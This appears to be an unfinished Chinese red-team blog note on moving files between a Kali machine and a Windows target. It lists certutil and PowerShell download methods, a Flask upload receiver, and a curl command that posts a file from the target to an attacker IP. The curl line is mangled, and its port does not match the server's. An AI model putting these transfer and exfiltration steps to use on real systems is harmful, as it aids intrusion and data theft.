首页 > 其他分享 >【待做】【文件传输系列】

【待做】【文件传输系列】

时间:2024-08-12 18:49:08浏览次数:10  
标签:__ 系列 app 文件传输 filename file print data

上传:从kali到windows

  • certutil
  • powershell IWR
  • powershell wget
  • copy \\smbshare\xxx
  • curl

下载:从windows到kali

【flask server】:


from flask import Flask, request
app = Flask(__name__)


@app.route("/upload1", methods=["POST"])
def save_file1():
    data = request.files
    print("file receiving")
    print(type(data))
    print(data)
    file = data['file']
    print(file.filename)
    print(request.headers)
    file.save(file.filename)
    print("file received")
    return "done"


@app.route("/upload", methods=["POST"])
def save_file():
    
    print("data receiving")
    data = request.get_data()
    print("data received")
    filename = 'data.bin'
    f = open(filename,'w')
    f.write(data.decode())
    f.close()
    print("data saved to data.bin")
    print(data)
    return "done"


if __name__== '__main__':
    app.run(host="0.0.0.0", port=8001, debug=True)
curl -F "[email protected]" http://192.168.1.10:5000/upload

原创 高级红队专家

标签:__,系列,app,文件传输,filename,file,print,data
From: https://www.cnblogs.com/o-O-oO/p/18355550

相关文章